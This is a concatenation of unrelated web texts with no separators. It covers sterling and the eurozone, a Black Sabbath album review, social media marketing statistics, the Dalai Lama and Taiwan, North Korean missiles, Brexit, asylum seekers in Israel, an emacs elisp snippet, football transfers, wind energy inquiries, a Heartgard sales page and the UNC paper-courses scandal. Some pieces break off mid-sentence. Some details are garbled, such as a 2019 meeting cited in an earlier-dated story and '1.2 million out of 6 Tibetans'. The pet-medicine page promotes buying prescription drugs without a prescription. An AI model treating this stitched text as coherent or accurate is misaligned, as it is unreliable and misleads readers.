And no wonder. For the longer profligate eurozone governments are able to ramp up borrowing, the more likely monetary union is dramatically to implode. And the further share prices are pumped up by QE and other monetary mutations, the more vulnerable global stock markets are to crash.
For now, as the euro weakens, the pound looks strong. While that's bad news for UK exporters, it does make your holiday pounds go further. Consider, though, that while sterling is soaring now, we're facing in May the most uncertain general election for decades. A minority Labour government, propped up by an increasingly Left-wing Scottish National Party - a distinct possibility, even if the Tories win the most votes and even the most seats - could see sterling plunge.
In the end, you see, whatever the actions of politicised central bankers, the fundamentals win.
This article was written by Liam Halligan from The Daily Telegraph and was legally licensed through the NewsCred publisher network.Vol. 4 is the point in Black Sabbath's career where the band's legendary drug consumption really starts to make itself felt. And it isn't just in the lyrics, most of which are about the blurry line between reality and illusion. Vol. 4 has all the messiness of a heavy metal Exile on Main St., and if it lacks that album's overall diversity, it does find Sabbath at their most musically varied, pushing to experiment amidst the drug-addled murk. As a result, there are some puzzling choices made here (not least of which is the inclusion of "FX"), and the album often contradicts itself. Ozzy Osbourne's wail is becoming more powerful here, taking greater independence from Tony Iommi's guitar riffs, yet his vocals are processed into a nearly textural element on much of side two. Parts of Vol. 4 are as ultra-heavy as Master of Reality, yet the band also takes its most blatant shots at accessibility to date -- and then undercuts that very intent. The effectively concise "Tomorrow's Dream" has a chorus that could almost be called radio-ready, were it not for the fact that it only appears once in the entire song. "St. Vitus Dance" is surprisingly upbeat, yet the distant-sounding vocals don't really register. The notorious piano-and-Mellotron ballad "Changes" ultimately fails not because of its change-of-pace mood, but more for a raft of the most horrendously clichéd rhymes this side of "moon-June." Even the crushing "Supernaut" -- perhaps the heaviest single track in the Sabbath catalog -- sticks a funky, almost danceable acoustic breakdown smack in the middle. Besides "Supernaut," the core of Vol. 4 lies in the midtempo cocaine ode "Snowblind," which was originally slated to be the album's title track until the record company got cold feet, and the multi-sectioned prog-leaning opener, "Wheels of Confusion." The latter is one of Iommi's most complex and impressive compositions, varying not only riffs but textures throughout its eight minutes. Many doom and stoner metal aficionados prize the second side of the album, where Osbourne's vocals gradually fade further and further away into the murk, and Iommi's guitar assumes center stage. The underrated "Cornucopia" strikes a better balance of those elements, but by the time "Under the Sun" closes the album, the lyrics are mostly lost under a mountain of memorable, contrasting riffery. Add all of this up, and Vol. 4 is a less cohesive effort than its two immediate predecessors, but is all the more fascinating for it. Die-hard fans sick of the standards come here next, and some end up counting this as their favorite Sabbath record for its eccentricities and for its embodiment of the band's excesses.Commentary & Analysis
Takeaways from the 2017 Social Media Marketing Report
Printers may not yet be fully comfortable with social media marketing, but it’s critical that they understand the basics. Here are the primary conclusions of “2017 Social Media Marketing Industry Report” just released by the Social Media Examiner to help in that effort.
By Heidi Tolliver-Walker
Published: August 25, 2017
Printers often refer to themselves as marketing services providers, and if you’re in marketing, you know the importance, not just of print, but of combining print with other channels, including social media. Printers may not yet be fully comfortable with social media marketing, but it’s critical that they understand it—at least the basics. Here are the primary conclusions of “2017 Social Media Marketing Industry Report” just released by the Social Media Examiner to help in that effort. You can download the whole report for free here (PDF).
1. Visuals have become essential in social media marketing.
“A significant 85% of marketers use visuals in their marketing and 73% plan on increasing their use of visuals.”
2. You thought video was hot? Going live is sizzling.
“A significant 61% of marketers plan to use live video services such as Facebook Live and Periscope, and 69% want to learn more about live video.”
3. Instagram is on a rocketing growth trajectory.
“Currently, 54% of marketers are using Instagram, yet 63% plan on increasing their Instagram activities and 71% of marketers want to learn more about Instagram.”
Considering that commercial printing is a visual industry, this is a platform you should be capitalizing on yourself.
4. Facebook is the most important social network for marketers, and it’s not even close.
“When asked to select their most important platform, 62% of marketers chose Facebook, followed by LinkedIn at 16%.”
It is worth noting that Facebook now owns Instagram and has made it easy to integrate and cross-pollinate them.
5. If you are unsure about Facebook marketing, you’re not alone.
A significant 40% of marketers don't know if their Facebook marketing is working and 53% have seen declines in their Facebook News Feed exposure.” In other words, if you feel like a fish out of water, you’re not alone. Don’t let that deter you from figuring it out.
6. Facebook ads are the big gorilla.
“A surprising 93% of social marketers regularly use Facebook ads and 64% plan on increasing their Facebook ads activities.” I have regularly boosted posts on Facebook and used Facebook’s audience targeting and found it extremely effective. Facebook has also just added the ability to retarget people who have engaged with your company’s Facebook page, making this an extremely powerful tool for communicating with your most important and profitable audience—those who are already actively engaged with your company.
7. Tactics and engagement are the focus of marketers’ learning curve.
“At least 91% of marketers want to know the most effective social tactics and the best ways to engage their audience with social media.”
Download and read the rest of this report. It’s worth your time.Dharamshala — Taiwan's Legislative Yuan has expressed its warm welcome for His Holiness the 14th Dalai Lama to visit Taiwan. The news came after the spiritual leader of Tibet accepted an invitation extended to him to visit Taiwan and deliver a speech on freedom and democracy, requested by a Taiwanese parliamentary delegation which came to announce its collaboration with the Tibetan Parliament-in-Exile, in Dharamshala.
'Taiwan's legislative Yuan will always welcome people from any country if they are willing to help spread democracy and freedom,' Taiwan's Legislative Speaker Su Jia-chyuan said Tuesday, responding to His Holiness the Dalai Lama's enthusiastic comment about a possible return to Taiwan.
New Power Party (NPP) legislator and black metal musician Freddy Lim extended the invitation during his visit to His Holiness the Dalai Lama in Dharamshala, India on September 5, along with his colleague from the ruling Democratic Progressive Party, Kolas Yotaka.
The Nobel Peace Prize laureate on Monday said he would be glad to visit Taiwan again after New Power Party (NPP) Legislator Freddy Lim asked him during a trip to India to speak at the Legislative Yuan. Lim said the spiritual leader had replied that he is very glad to visit Taiwan again. Lim also said that peace can only be achieved if people from different countries are willing to work together.
“The people of Taiwan have always been concerned with human rights violations in Tibet, the Taiwanese government has remained silent in recent years, despite the Chinese oppression of human rights, Lim said. Now that the younger generation is on the rise, it is a key moment for Taiwan to start reinforcing its presence within the international human-rights community, he said, adding that "building trust and friendship with the people of Tibet is is a key moment."
Taiwan's rock star Lim has long been a supporter of the Tibetan cause. This is not the first time Lim has met the His Holines, he previously met with him in 2008 and 2019, but the first as a Taiwanese parliamentarian. The lead singer of Taiwanese heavy metal band Chthonic, had previously organized Free Tibet concerts in 2003 and 2009. He has also frequently expresses admiration for the Nobel Peace Prize laureate, featuring a large mural of him in his NPP office.
According to Democratic Progressive Party (DPP) Legislator Kolas Yotaka, who also visited His Holiness the Dalai Lama, the democratically elected political leader of Tibetan people, Dr Lobsang Sangay, said that many Taiwanese Buddhist groups had tried to arrange for His Holiness the Dalai Lama to visit Taiwan, but the administration of former president Ma Ying-jeou refused to issue him a visa.
His Holiness the Dalai Lama's last trip to Taiwan was in 2009, when he came to the country to pray for survivors and victims of the deadly Typhoon Morakot. "We hope that with a consensus from both sides and at an appropriate time, the Dalai Lama will be allowed to visit Taiwan," Dr Sangay said.
The Tibetan spiritual leader supported Taiwan's President Tsai Ing-wen's apology in August this year, to Aborigines as part of 'a good trend', saying that people should seek to resolve conflict and avoid extremist or radical criticism, Yotaka said, adding that criticism would not solve issues and would prevent true settlement.
"I think in many parts of the world, the stronger nation, when they come, they simply ignore the feelings of native people," Yotaka said, in response to His Holiness the Dalai Lama's comment: "The apology was very good."
"Now that is eventually changing worldwide, I think; the recognition of native people's rights. So I think with that kind of world trend... I think Australian government also expressed something similar... Canada as well. So Taiwan also. I think it is a very good trend, I think. Good trend," he added.
Since China's invasion of their country, Tibetan people have never stopped peacefully resisting the occupation and the destruction of their way of life. Instead of offering a formal apology for their crimes against Tibetan people and admit their wrongdoing in Tibet, the Chinese government has chosen to respond with an iron fist.
According to the delegation, His Holiness the Dalai Lama was also concerned over the rights of residency of Tibetans-in-exile in Taiwan and openly praised the Tsai administration's proposal to abolish the Mongolian and Tibetan Affairs Commission, Yotaka said.
The commission symbolizes Chinese authority on Tibetans and has proved to be a long-term roadblock in communication between Taiwan and the Central Tibetan Administration (CTA), Dr Sangay said, adding that the CTA has high expectations of the Tsai administration.
Meanwhile, the delegation Monday held a press conference in Dharamshala where they also declared their intention to form "All party parliamentary group for Tibet" in the Taiwan Parliament and various startup projects with Tibetan settlement offices in India.
Tibet was invaded by Communist China, starting in 1949, Beijing calls a "peaceful liberation". Since that time, over 1.2 million out of 6 Tibetans have been killed, over 6000 monasteries have been destroyed— the acts of murder, rape and arbitrary imprisonment, torture and cruel, inhuman and degrading treatment were inflicted on the Tibetans inside Tibet.
Tibet was traditionally comprised of three main areas— U-tsang, Kham and Amdo provinces, covers an area of 870,000 square miles. After 1949, other Tibetan areas (Amdo and Kham) were incorporated into the neighboring, Chinese provinces of Gansu, Qinghai, Sichuan, and Yunnan.North Korea has launched two ballistic missile toward the Sea of Japan, one of which exploded immediately after launch, according to the US. The move has been condemned by the country’s southern neighbor, as well as Japan and Washington.
The projectile that was launched at about 7:50am local time (around midnight GMT), and, according to South Korea’s Joint Chiefs of Staff, flew for about 1,000 km (620 miles) before landing in Japan's economic exclusion zone. US Strategic Command said it had also detected a second launch which resulted in failure.
Read more
South Korea’s Joint Chiefs of Staff termed the latest launch part of a North Korean ambition to “directly and broadly attack neighboring countries and target several places in the Republic of Korea such as ports and airfields.”
Japanese Defence Minister Gen Nakatani said the projectile, which appeared to be a medium-range Rodong missile, landed in the Sea of Japan some 150 miles (250km) off the country's northern coast.
Japan's Prime Minister Shinzo Abe called the test a “serious threat against our country's security,” adding that “this is an outrageous act that cannot be tolerated.”
Commenting on the latest launch, the US State Department spokeswoman Julia Mason said: “We remain prepared to work with our allies and partners around the world to respond to further DPRK provocations, as well as to defend ourselves and our allies from any attack or provocation.”
The launch from the western region into the sea off the country’s east coast is the latest in a series of ballistic missile tests by the North in recent months. During the previous test, carried out last month, the North fired three ballistic missiles into the sea.
READ MORE: South Korea should think twice before deploying US THAADs – Chinese FM
The rockets fired on July 19 had a range of up to 600 kilometers (360 miles), and were presumed to have been Scud-types projectiles which have enough range to reach all of South Korea.
The recent tests, which violate UN Security Council resolutions, are believed to be the North’s way of retaliating against a US decision to deploy the Terminal High Altitude Area Defense (THAAD) system to South Korea.
The launch comes following the publication of Japan’s Defense White Paper which said that North Korea’s nuclear program poses a direct threat to Japan. The report claimed that most likely the North has mastered long-range ballistic missile technology capable of reaching more than 6,200 miles and has nuclear warheads that weigh under a ton. Such technology does not only make Japan vulnerable to a potential attack, but also the US mainland and any of its partners in South East Asia.It’s true that these battle lines are drawn across all campuses to one degree or another, but what many people don’t realize is that they are the most pressing concerns only for elite private institutions like Oberlin and Yale.
This one-sided representation of campus speech doesn’t reflect my 14 years teaching in large public institutions in Michigan, Texas and Wisconsin. In that time, no student has ever demanded that my classes include a trigger warning or asked for a safe space. But my colleagues and I have been given much more reason to worry about the ideological agendas of elected officials and politically appointed governing boards. Students can protest on the campus mall, demanding that policies be changed; elected officials can pass laws or cut resources to reflect their beliefs about how a campus should operate. One group has much more power than the other.
Faculty members conducting research on social or environmental issues that does not align with views of the party controlling the State Legislature may prefer to keep their heads down rather than speak out. At the University of North Carolina, the board of governors closed a privately funded research center that studied poverty; its director had criticized state elected officials for adopting policies that he argued amounted to “a war on poor people.” Amid broader budget cuts here in Wisconsin, Gov. Scott Walker, without warning or explanation, tried to yank all the state funding for a renewable energy research center.
On both private and public campuses, instructors who discuss race, gender, class, reproductive rights, elections or even just politics can find themselves subjected to attack by conservative groups like Media Trackers or Professor Watchlist. Faculty members in public institutions also have to worry about the possibility of having their email searched via Freedom of Information law requests. The ultimate audience for such trawling is lawmakers, who set the rules for public institutions. Indeed, a Media Trackers employee whose job included writing negative profiles of Wisconsin professors recently took a position with a state senator who likes to attack universities as being unfriendly to free speech.
After having seen tenure protections weakened in the last legislative session, Wisconsin professors now face the prospect that legislators will allow guns in classrooms, something our private peers will not have to contend with as they seek to protect a climate conducive to vigorous debate. Complaints about campus speech that focus on the demand for safe spaces in private settings are not just quaint by comparison; they create a blind spot about more serious threats to free speech. The risk is that legislators and others who see themselves as protectors of free speech on campus come to treat it as an à la carte menu. They lecture students that a higher education experience means listening to challenging perspectives, even as they ignore or actively support the erosion of the structural conditions that allow such speech.The 150 men walk six hours through the Negev desert in bid to reach Jerusalem, are currently in Be’er Sheva and rebuffing authorities’ offer to bus them back to the ‘Holot’ open prison facility that opened late last week.
Text by Michael Omer-Man
Photos by Yotam Ronen, Oren Ziv, Shiraz Grinbaum/Activestills.org
Roughly 150 Sudanese asylum seekers left a new ‘open prison’ and walked six hours to Be’er Sheva in a mass act of civil disobedience protesting their continued detention without trial and demanding recognition as refugees on Sunday.
The asylum seekers were transferred to the new facility, “Holot,” in recent days in line with a law passed last week. The law is an attempt by legislators to circumvent a High Court ruling, which struck down as unconstitutional a previous law that permitted the indefinite detention of asylum seekers. The new law instead authorizes their indefinite detention in “open” facilities.
Read +972’s full coverage of refugees in Israel
Most of the men have already been imprisoned for 18 to 24 months without trial.
“It’s just like a prison, only the doors are open,” a Sudanese asylum seeker at Holot told a representative of the Hotline for Refugees and Migrants earlier Sunday.
He explained that the new open-door policy is meaningless when the facility is located in the middle of the desert and there’s nothing outside of the prison’s gates.
“If somebody leaves they surely won’t return,” the Sudanese man added. “It doesn’t really matter because if they catch us they’ll take us back to the previous prison. It doesn’t matter which prison you’re in.”
At 11 p.m. Sunday night the men were at the central bus station in Be’er Sheva, where it appeared they intended to spend the night for lack of better options. Earlier in the evening Immigration Authority officials attempted to convince them to return on buses to the Holot ‘open prison’ but the asylum seekers refused.
Temperatures were expected to approach freezing overnight.
Under the new law Israeli authorities cannot arrest detainees from the ‘open prison’ until they have been absent from it for 48 hours.
Once they are arrested, they can be brought back to the ‘closed,’ Saharonim prison.
According to a representative of the Hotline for Refugees and Migrants, many of the asylum seekers have been on hunger strike for two days already. One collapsed and was brought to a hospital in Be’er Sheva.
They had originally planned to march all the way to Jerusalem. Israel and the wider Middle East are currently experiencing a massive winter storm; Jerusalem has been mostly shut down and isolated from the rest of the country for several days due heavier than normal snowfall.
Related:
Knesset passes revised law for detention of African asylum seekers
Despite landmark ruling, asylum seekers are only cautiously optimisticLONDON/BRUSSELS (Reuters) - European Union leaders met for the first time without Britain on Wednesday less than a week after it voted to leave, delivering a tough message that London can access the bloc’s lucrative single market only if it agrees to allow free movement for EU workers.
A man takes a picture near the Big Ben clock tower in London, Britain June 29, 2016. REUTERS/Kevin Coombs
Last week’s shock referendum vote to leave the EU has caused global financial market turmoil, sent the pound sterling tumbling and wiped billions off the value of British shares. Britain’s giant financial services sector, roughly 8 percent of economy, relies crucially on access to the EU market.
Prime Minister David Cameron, who campaigned to stay in the EU and lost, has announced his resignation and left it up to his successor to negotiate the terms of Britain’s exit.
But leaders of the victorious Leave campaign have not spelled out in detail what sort of relationship they hope to build with Brussels, creating uncertainty about the future for both Britain and the rest of the bloc.
Cameron, staying on as caretaker until a successor is found, told EU leaders at his final summit with them on Tuesday that he believed the referendum was lost over the principle of unrestricted travel among EU citizens.
But free movement of workers is one of “four freedoms” — along with movement of capital, goods and services — that the EU says must be maintained by any country that wants access to its common market. The 27 leaders added a line to their summit statement at the last minute emphasizing that principle.
They also called on Britain to trigger the EU’s exit clause by notifying them of its intention to withdraw, which would start a two year clock to negotiate its exit.
“There can be no negotiations of any kind before this notification has taken place,” the statement said. Cameron wants time for his successor to formulate a strategy and sound out European colleagues before beginning the countdown.
DIFFICULT TIMES
Cameron, who had expressed regret and sadness at last week’s referendum result over dinner with his EU peers on Tuesday, told parliament the British economy faced hard times as a result.
“There’s no doubt in my mind these are going to be difficult economic times,” he said.
A senior British lawmaker, Andrew Tyrie, said Britain should not give official notice until a new government had agreed on a negotiating position.
“A crucial task is to identify the maximum level of EU market access, consistent with the need for some control on migration,” he said in a statement on behalf of the influential Treasury Select Committee.
The battle to succeed Cameron as ruling Conservative Party leader is likely to be fought over promises to limit EU migration while still retaining as much access to the common market as possible after Brexit.
One of the candidates to succeed Cameron, Stephen Crabb, said securing control of immigration was essential and acknowledged that might mean less access to the EU market.
Work and pensions minister Crabb ruled out holding another referendum and said his Conservative Party and the country must now unite in focusing on negotiating the best Brexit deal.
“The British people want control of immigration... For us, this is a red line,” he told a news conference.
Former London mayor Boris Johnson, who led the Leave camp and is bookmakers’ favorite to succeed Cameron, has suggested Britain could have full market access, including for the vital financial sector, without having EU rules enforced by the European Court of Justice or paying as much as London does now into the EU budget. He has also said British citizens would keep rights to live and work in Europe. His critics say his position is unrealistic.
The political turmoil following Britain’s decision to exit the EU has not only triggered a leadership contest in Cameron’s ruling Conservative Party, it also caused lawmakers from the opposition Labour Party to turn on their leader, leftist Jeremy Corbyn, accused of leading a half-hearted campaign to stay in.
Labour lawmakers voted no confidence in Corbyn on Tuesday, but he refused to step down, setting the stage for a bitter fight to push him out. Party rivals want a stronger figure to lead Labour in a general election if the Conservative government falls or parliament is dissolved.
The UK itself could split apart. Voters in Scotland and Northern Ireland voted to stay in the EU, and Scotland’s first minister Nicola Sturgeon has said Scots must not be taken out of the bloc against their will.
Sturgeon visited Brussels on Wednesday to make her case to European leaders to keep Scotland in, hours after Cameron had left. She got a polite hearing but won no commitment, and Prime Minister Mariano Rajoy of Spain, which is concerned about separatism in its own Catalonia region, said Madrid would block direct negotiations with Scotland.
“If the United Kingdom leaves, Scotland leaves,” he said.
EU Commission chief Jean-Claude Juncker agreed to meet Sturgeon, a decision that drew criticism from some EU diplomats who called it a provocation towards London. EU summit chairman Donald Tusk declined to meet her.
Slideshow (3 Images)
German Chancellor Angela Merkel, Europe’s most influential leader, convinced her peers to give Britain time to find its feet and choose a new leader before it starts formal exit talks.
But she too was firm on the price for market access, saying London could not “cherry-pick” the EU benefits it liked.
French President Francois Hollande highlighted the threat to the City of London’s position as the euro zone’s offshore financial center, saying other European cities should prepare to do clearing in euros once Britain leaves.or is the documentation to blame?
From time to time I have a little niggle with emacs or need a new feature. As I know a bit of elisp it is all too tempting to jump in and code up a solution rather than investigate whether someone else has already solved it.
A case in point would be my database mode. Ian Eure pointed out that there is a way to get sql-mode (a core module) to do something similar to what I wanted.
( defun enter-db () (interactive) ( let ((sql-sybase-program "/usr/bin/isql" ) (sql-server "DB_SERVER" ) (sql-database "DB_DATABASE" ) (sql-user "USER" ) (sql-password "PASSWORD" ) (sql-sybase-options '())) (delete-other-windows) (sql-sybase) (other-window -1) (switch-to-buffer "*sql*" t) (sql-mode)))
And there are modules that provide similar functionality to my directory aliases although I am extremely pleased I wrote it. I use it many times every day and I love it.
In fact, often when I publish a piece of elisp I have written, people point out that it has already been done. Another example would be when Peter Jones pointed out a much easier way of implementing emacs muse aliases.
So what is the answer? Hang out on |
GC riders for stage supremacy. Don’t be surprised to see classics powerhouses like Belkin’s Sep Vanmarcke, OPQS’s Niki Terpstra and Stijn Vandenbergh, and Trek’s Stijn Devolder and, of course, Fabian Cancellara looking for long distance victories either. Cancellara will also headline (along with Bradley Wiggins and Tony Martin) an elite field of chrono riders for the race’s two stages against the clock. Movistar’s Alex Dowsett and AG2R’s Patrick Gretsch are specialists who will hope to contend with that trio, as well as a number of other aforementioned strong ITT riders, for prestigious wins against elite competition.
VeloHuman Top 10 GC Favorites
Winner: Rui Costa
Podium: Bauke Mollema, Roman Kreuziger
Other Top Contenders: Thibaut Pinot, Mathias Frank, Ion Izagirre, Bradley Wiggins, Rohan Dennis, Domenico Pozzovivo, Laurens Ten Dam
I will not be doing daily stage previews here, but follow @VeloHuman on Twitter for stage picks and commentary. And check back soon for some very exciting things to come: Q&As with some of the sport’s up-and-coming young stars and plenty of Tour de France coverage are right around the corner.
-Dane Cash
Photos by F. Gopp and youkeys.Wenger: Henry can say what he wants –
I still hope to sign Suarez (but we'll give Liverpool the respect they deserve)
Arsene Wenger insists he has not given up hope of signing Luis Suarez despite Liverpool owner John Henry categorically ruling out the possibility of selling his star striker to Arsenal.
The Gunners have failed with a bid of £40million and one pound for Suarez – who has been forced to train on his own in recent days – with Liverpool adamant that it has not triggered a release clause in his contract.
Wenger faced questions about the issue when Arsenal landed in Helsinki this afternoon ahead of Saturday’s pre-season friendly against Manchester City.
Controversial: Luis Suarez's bid to leave Liverpool has dominated the summer
Asked if Henry’s statement will make him abandon his pursuit of Suarez, the Arsenal boss said: ‘No because we are in the middle of the transfer period and we are looking at possibilities to strengthen our squad.
‘I didn’t read his statements but that’s how it will work or not work. We’ll be faithful to the way we want to behave.
‘I’ve nothing to add to what I said already about the transfer of Suarez. If it will be done, it will be done in a respectful way with Liverpool.
Optimistic: Arsene Wenger is still hopeful about his chances of recruiting the Uruguayan frontman The Professor: Wenger is in Helsinki for his side's final pre-season fixture Grey day? But Arsenal's prospects for the coming season are not necessarily gloomy ‘To make a transfer happen you need the agreement of three parties – the buyer, the seller and the player. We know we want to do.
‘Liverpool at the moment do not agree. Whether they change their mind or not we don’t know. We’ll respect that.
‘Suarez is one of the targets. If he’s not for sale, he’s not for sale we have to accept that.’
Suarez has publicly called on Liverpool to let him leave so he can play Champions League football this season, bringing an angry response from manager Brendan Rodgers.
Asked if it was feasible for Liverpool to keep a player who is so clearly unhappy at Anfield, Wenger added: ‘That’s not for me to asses that. I don’t know the relations between the player and the club.
Transfer tussle: Liverpool remain adamant the frontman will not be allowed to leave Growing profile: Aaron Ramsey could this season become a key player for Arsenal Looking to the future: Wenger's side remains one of the most promising in the Premier League
‘Every situation is different. I was in that situation with Robin van Persie last year but Van Persie had a one-year contract so the situation was a bit different. Every club has its own way to deal with things. We have our own way and we respect that all the other clubs.’
Wenger admitted that Arsenal’s Champions League eliminator against Fenerbahce is a ‘strange situation’ considering the Turkish club could win the tie and still be thrown out of the competition if their appeal against a two-year ban for match-fixing allegations is thrown out later this month.
‘It’s a strange situation,’ said Wenger. ‘They are basically suspended. It is a strange situation in different ways.
Previous: Wenger knows what Brendan Rodgers is going through, having sold Robin van Persie last summer
'They have been suspended to play in Europe, have appealed to a tribunal to the Arbitration of Sport. On top of that, nobody knows if they lose the case what will happen. It’s a very strange situation.
‘But it’s a difficult draw. Fenerbahce is a strong team with history in the Champions League. They have good players who have played in England – Yobo, Dirk Kuyt.
‘I looked at their squad and there is a lot of experience. We need to have a good performance and I am confident we can go through but it is a big task.’
Wenger also gave an update on Jack Wilshere, saying he would have no qualms if he was to play some part in England's friendly with Scotland on Wednesday.Well, that was scary! Ever since we heard the news that the European Juggling Convention (EJC) 2015 had lost its Berlin and then Karlsruhe venues the word on the street was there would be no EJC in 2015.
The unthinkable looked set to happen; the first year without an EJC in its 37 year history. The European Juggling Association, the non-profit organisation who's main task is to facilitate an EJC every year, was set to make an announcement at this year's convention in Millstreet, Ireland. Most people expected this to confirm the bad news, however we were pleasantly surprised.
A team and venue has been found to host the EJC 2015, which will take place in Bruneck in the Italian alps.
We're excited about this location as, like Millstreet, it's another small town in a beautiful part of the world that we'd probably never visit except to attend an event like this. The summer alpine setting is bound to be stunning!
The dates are, as yet, unconfirmed but word has it they're looking at the first week in August.
We'll keep you updated with any further news on the EJC 2015 so watch this space...Examination into the effects of wind energy on power prices, human health and wildlife set to go ahead
Senators opposed to wind energy are set to establish yet another inquiry into its alleged effects on power prices, human health and wildlife – but the government is insisting they have to abolish an existing inquiry to set it up.
On the list of inquiries that could go is an investigation of the Abbott government’s budget cuts or the Palmer United party-instigated inquiry into “Queensland government administration”.
The new inquiry – the latest in a long list of investigations into renewable energy and wind power – is proposed by crossbench senators David Leyonhjelm and Bob Day and Liberal Chris Back, all of whom have argued for the abolition of the renewable energy target, which underpins wind energy in Australia.
It is also supported by Palmer United party senator-in-exile, Jacqui Lambie, despite the Palmer United party’s strong support for renewable energy and the renewable energy target, and South Australian senator Nick Xenophon, who argues wind energy is crowding out other forms of renewable power. It is also backed by Motoring Enthusiast senator Ricky Muir. This gives it enough votes to pass.
Lambie is voting against all government bills because she is angry at the below-inflation pay deal for the defence forces, but she appears to be moving further away from the Palmer United party – removing its logo from her website and having no contact with any of her fellow PUP senators.
The proposed committee will look at a long list of arguments regularly used by opponents of wind energy – including that it drives up power prices (effectively making this yet another inquiry into the RET), that it might have health consequences and that wind turbines pose a danger to birds and planes fighting fires or spraying crops.
A spokesman for Leyonhjelm confirmed a vote to set up the committee had been deferred until Monday because the government had said there could only be four Senate select committees, which meant an existing one would need to be abolished to make room for the new investigation.
As well as the inquiry into “Queensland administration” and the budget cuts, existing Senate select committees include an inquiry into health policy and administration and one into the national broadband network.
Leyonhjelm’s spokesman said the decision about which committee would be axed was “still being negotiated”.
Xenophon said he saw a “real distinction between the efficiency of solar compared with wind” and believed there was a “genuine concern the government hasn’t followed through on promises to do independent research” on the alleged health effects of windfarms.
Muir said: “I am supportive of the establishment of a select committee on wind turbines. I am a keen supporter of renewable energy, however, there are a lot of questions and concerns and claims from people living within the vicinity of windfarms. The establishment of the committee is a good way to get some clarity surrounding these claims.”
The idea that the RET is significantly pushing up prices has now been challenged by several sets of modelling.
ACIL Allen modelling done for the government’s own review shows the current RET target will increase the average household bill by an average of $54 a year between now and 2020, but will reduce bills by a similar annual amount over the following decade compared with what they would be if the RET were repealed. That modelling used assumptions highly unfavourable to renewable energy, including that coal and gas prices would remain almost unchanged until 2040.
Separate modelling for the Clean Energy Council by Roam Consulting – with different assumptions about gas prices – found that bills would be $50 a year lower by 2020 if the RET were retained.
Another modelling exercise, commissioned by three business groups from Deloitte, found household bills would rise by at most about $50 a year.
But the new committee will still look at the effect of wind power on household power prices.
While the PUP block stayed in place, the government did not have the numbers to change the RET, but Lambie has said she is worried about how it will affect her home state of Tasmania.Heartgard Plus chewables are definitely the most popular of the two options for Heartgard. In fact it is now recommended for many over the regular form of Heartgard. Owners will find that Heartgard Plus chewables offer extra protection in the form of intestinal worm treatment as this is such a common issue.
But the main advantage of our best price Heartgard is that if we buy the chewable version it is simply so easy to give to our pets. Both Dogs and Cats love the meaty flavor of the chewables and it simply makes medicating so much easier.
Most pet owners will have struggle to ensure that their pets swallow a pill, it can be a tricky business. Resorting to hiding tablets in food or tasty treats often fails. Animals seem to have a sixth sense that allows them to discover anything out of the ordinary in their food. Or worse yet they take a part of the pill and drop the rest on the floor. All far from ideal.
But if we buy Heartgard Plus chewables then this is never a problem.
Heartgard Best Price
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Being able to buy Heartgard Plus without supplying your own prescription makes the whole process so much easier.
But you must be sure that your pet is heartworm disease free before you do medicate. If you have not been giving any medication previously then it is best to get a test done at the vets. But if you have currently already been medicating with a different product then you can simply switch over having waited a month between medications.
Rather than going to the trouble of sending in a fax or mail document for your RX this is taken care of when you order. Your pets name and the number to call the Vet is all that is required. The process is quick, you buy just like you would other products, and your order arrives in just a few days.Image copyright Getty Images
Yum Brands is selling a stake in its Chinese division to Primavera Capital and Ant Financial as the company prepares to separate the Chinese unit from the main business.
Primavera Capital, will pay $410m (£308m) and Ant Financial, an affiliate of Alibaba, will invest $50m.
The new investors will have the option to buy an additional 4% stake.
Yum, the owner of Pizza Hut and KFC, is the largest fast food brand in China but has recently faced some trouble.
The company was involved in a scandal over its meat supplier and its connection to bird flu outbreaks.
Yum Brands has also recently been losing ground to competitors like McDonalds.
Still, the company sees potential in the market and has plans to triple the number of its restaurants in China.
A Yum spokesman said the company had not yet decided how the money from the sale would be used, but it is possible it may go towards the firm's expansion plan.
The decision to spin off Yum's Chinese business has been pushed by activist investor Keith Meister, who is a member of Yum's board of directors.
Yum said the separation is on track to take place on 31 October.
Image copyright Getty Images
Ant Financial runs Alibaba's Alipay mobile payment businesses and has been making a push into the Chinese restaurant industry.
The company plans to make Alipay available in Yum restaurants, which will help increase its customers and the company says thus will help to cut waiting times at cash registers.
"Through this collaboration, we aim to help Yum China provide world-class mobile payment services for tens of millions of customers across its brands," said Eric Jing, president of Ant Financial.
Primavera Capital is a powerful China-focused private equity firm founded by an ex-Goldman Sachs banker.One of the worst academic scandals in the history of college sports ended with a whimper Friday, with the NCAA ruling it will not punish the University of North Carolina’s athletics department for deficient “paper courses” taken by thousands of students, many of them athletes, over nearly two decades.
In a decision released Friday morning, the NCAA’s Committee on Infractions concluded that because the lenient classes in the school’s African and Afro-American studies department — which never met, rarely involved university faculty and often provided passing grades in exchange for one short paper graded by a university secretary — were also taken by regular students, NCAA investigators couldn’t prove the classes constituted an unfair benefit for North Carolina athletes.
“It’s important to understand that the panel is in no way supporting what happened. What happened was troubling,” said Southeastern Conference Commissioner Greg Sankey, a member of the NCAA panel that heard the case. “But the panel couldn’t conclude violations. That’s reality.”
North Carolina had faced potential penalties in multiple sports — including men’s and women’s basketball, as well as football — that could have included postseason bans and the vacating of two men’s basketball championships won during the time span the deficient classes were offered. Instead, the only sanction the NCAA handed down at the conclusion of a 3½ year investigation was a “show-cause” order for former African and Afro-American studies department chair Julius Nyang’oro, an essentially meaningless penalty that will make it more difficult for the retired professor to obtain a job in college athletics.
[Perspective: The reality of NCAA basketball is closer to ‘Blue Chips’ than ‘Hoosiers’]
The saga dates to 2011, when the Raleigh News & Observer published the first in what became a series of stories about the irregular courses, which were nominally taught by Nyang’oro but often simply required one paper actually graded by Deborah Crowder, a manager in the African and Afro-American studies department.
In 2013, a grand jury indicted Nyang’oro on a fraud charge stemming from the classes, a charge that prosecutors later dropped. In 2014, a university-commissioned investigation by Kenneth L. Wainstein — a former general counsel at the FBI and partner at the law firm Cadwalader, Wickersham & Taft — found that at least 3,100 students had taken the “paper classes” from 1993 until 2011.
Of those students, Wainstein found, nearly half were athletes, with football, men’s basketball and women’s basketball the most represented. Former star football player Julius Peppers took several of the courses, and Rashad McCants — a star from the Tar Heels’ 2005 NCAA men’s basketball championship team — has said he took several bogus classes, and that tutors directed him to the courses and wrote papers for him. This was all well known in the athletic department, McCants has claimed. Coach Roy Williams and other players from the 2005 team have disputed McCants’s allegations.
[On the same day the NCAA let off UNC, it ruled an N.C. State recruit ineligible]
Wainstein concluded that the classes were part of a “shadow curriculum” developed by Nyang’oro and Crowder to help struggling North Carolina students, particularly athletes, and that university academic counselors steered athletes into these classes. Wainstein did not find evidence top North Carolina athletics or university officials were aware of the classes.
